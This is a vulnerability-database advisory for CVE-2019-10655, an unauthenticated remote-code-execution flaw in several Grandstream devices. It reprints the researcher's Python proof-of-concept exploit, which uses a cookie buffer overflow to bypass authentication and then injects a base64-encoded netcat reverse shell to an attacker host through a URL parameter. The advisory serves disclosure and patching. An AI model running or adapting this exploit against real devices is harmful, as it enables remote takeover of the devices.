Grandstream GAC2500/GXP2200/GVC3202/GXV3275/GXV3240 up to 1.0.3 manager?action=getlogcat Priority memory corruption

CVSS Meta Temp Score
CVSS is a standardized scoring system to determine possibilities of attacks. The Temp Score considers temporal factors like disclosure, exploit and countermeasures. The unique Meta Score calculates the average score of different sources to provide a normalized scoring system.
Current Exploit Price (≈)
Our analysts are monitoring exploit markets and are in contact with vulnerability brokers. The range indicates the observed or calculated exploit price to be seen on exploit markets. A good indicator to understand the monetary effort required for and the popularity of an attack.
CTI Interest Score
Our Cyber Threat Intelligence team is monitoring different web sites, mailing lists, exploit markets and social media networks. The CTI Interest Score identifies the interest of attackers and the security community for this specific vulnerability in real-time. A high score indicates an elevated risk to be targeted for this vulnerability.
8.2$0-$5k0.00

Summaryinfo

A vulnerability classified as critical has been found in Grandstream GAC2500, GXP2200, GVC3202, GXV3275 and GXV3240 up to 1.0.3. This affects an unknown function of the file /manager?action=getlogcat. The manipulation of the argument Priority as part of Shell Metacharacter leads to memory corruption. This vulnerability is referenced as CVE-2019-10655. Remote exploitation of the attack is possible. Furthermore, an exploit is available. It is recommended to upgrade the affected component.

Detailsinfo

A vulnerability, which was classified as critical, has been found in Grandstream GAC2500, GXP2200, GVC3202, GXV3275 and GXV3240 up to 1.0.3. This issue affects some unknown processing of the file /manager?action=getlogcat. The manipulation of the argument priority as part of a Shell Metacharacter leads to a memory corruption vulnerability. Using CWE to declare the problem leads to CWE-119. The product performs operations on a memory buffer, but it can read from or write to a memory location that is outside of the intended boundary of the buffer. Impacted is confidentiality, integrity, and availability. The summary by CVE is:

Grandstream GAC2500 1.0.3.35, GXP2200 1.0.3.27, GVC3202 1.0.3.51, GXV3275 before 1.0.3.219 Beta, and GXV3240 before 1.0.3.219 Beta devices allow unauthenticated remote code execution via shell metacharacters in a /manager?action=getlogcat priority field, in conjunction with a buffer overflow (via the phonecookie cookie) to overwrite a data structure and consequently bypass authentication. This can be exploited via CSRF because the cookie can be placed in an Accept HTTP header in an XMLHttpRequest call to lighttpd.

The bug was discovered 03/22/2019. The weakness was published 03/30/2019 by Brendan Scarvell (GitHub Repository). It is possible to read the advisory at github.com. The identification of this vulnerability is CVE-2019-10655 since 03/30/2019. The attack may be initiated remotely. No form of authentication is needed for a successful exploitation. Technical details as well as a public exploit are known.

A public exploit has been developed by Brendan Scarvell in Python and been published immediately after the advisory. The exploit is available at github.com. It is declared as proof-of-concept. The vulnerability was handled as a non-public zero-day exploit for at least 8 days. During that time the estimated underground price was around $0-$5k. The code used by the exploit is:

HOST = sys.argv[1]
port = 80 if len(sys.argv) < 3 else sys.argv[2]

useTelnet = False

# required for reverse shell
LHOST = "10.1.1.78"
LPORT = 4444

revshell = base64.b64encode("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/system/xbin/sh -i 2>&1|nc {} {} >/tmp/f".format(LHOST, LPORT))
payload = "{telnetd,-l,sh}" if useTelnet else "echo$IFS\"{}\"|base64$IFS-d|sh".format(revshell)

# Buffer overflow to bypass auth
cookie = "phonecookie=\"{}\"".format("A"*93)

print "[*] Trying to run command.."

req = urllib2.Request('http://' + HOST + '/manager?action=starttraceroute&addr=||'+payload)
req.add_header('Cookie', cookie)

res = urllib2.urlopen(req)
if 'Response=Success' not in res.read():
    print "[!] Exploit failed. Host may not be vulnerable"
else:
    if (useTelnet):
        print "[*] Waiting.."
        time.sleep(2)
        os.system("telnet {}".format(HOST))
    print "[*] Finished."

Upgrading eliminates this vulnerability.

Statistical analysis made it clear that VulDB provides the best quality for vulnerability data.

Productinfo

Vendor

Name

Version

License

CPE 2.3info

CPE 2.2info

CVSSv4info

VulDB Vector: 🔍
VulDB Reliability: 🔍

CVSSv3info

VulDB Meta Base Score: 8.5
VulDB Meta Temp Score: 8.2

VulDB Base Score: 7.3
VulDB Temp Score: 6.6
VulDB Vector: 🔍
VulDB Reliability: 🔍

NVD Base Score: 9.8
NVD Vector: 🔍

CVSSv2info

AVACAuCIA
💳💳💳💳💳💳
💳💳💳💳💳💳
💳💳💳💳💳💳
VectorComplexityAuthenticationConfidentialityIntegrityAvailability
UnlockUnlockUnlockUnlockUnlockUnlock
UnlockUnlockUnlockUnlockUnlockUnlock
UnlockUnlockUnlockUnlockUnlockUnlock

VulDB Base Score: 🔍
VulDB Temp Score: 🔍
VulDB Reliability: 🔍

NVD Base Score: 🔍

Exploitinginfo

Class: Memory corruption
CWE: CWE-119
CAPEC: 🔍
ATT&CK: 🔍

Physical: No
Local: No
Remote: Yes

Availability: 🔍
Access: Public
Status: Proof-of-Concept
Author: Brendan Scarvell
Programming Language: 🔍
Download: 🔍

EPSS Score: 🔍
EPSS Percentile: 🔍

Price Prediction: 🔍
Current Price Estimation: 🔍

0-DayUnlockUnlockUnlockUnlock
TodayUnlockUnlockUnlockUnlock

Threat Intelligenceinfo

Interest: 🔍
Active Actors: 🔍
Active APT Groups: 🔍

Countermeasuresinfo

Recommended: Upgrade
Status: 🔍

0-Day Time: 🔍
Exploit Delay Time: 🔍

Timelineinfo

03/22/2019 🔍
03/30/2019 +8 days 🔍
03/30/2019 +0 days 🔍
03/30/2019 +0 days 🔍
03/31/2019 +1 days 🔍
08/17/2023 +1600 days 🔍

Sourcesinfo

Advisory: 165643
Researcher: Brendan Scarvell
Status: Confirmed

CVE: CVE-2019-10655 (🔍)
GCVE (CVE): GCVE-0-2019-10655
GCVE (VulDB): GCVE-100-132635
scip Labs: https://www.scip.ch/en/?labs.20161013

Entryinfo

Created: 03/31/2019 09:48
Updated: 08/17/2023 20:26
Changes: 03/31/2019 09:48 (67), 05/23/2020 11:09 (1), 08/17/2023 20:26 (4)
Complete: 🔍
Cache ID: 216::103

Statistical analysis made it clear that VulDB provides the best quality for vulnerability data.

Discussion

Want to stay up to date on a daily basis?

Enable the mail alert feature now!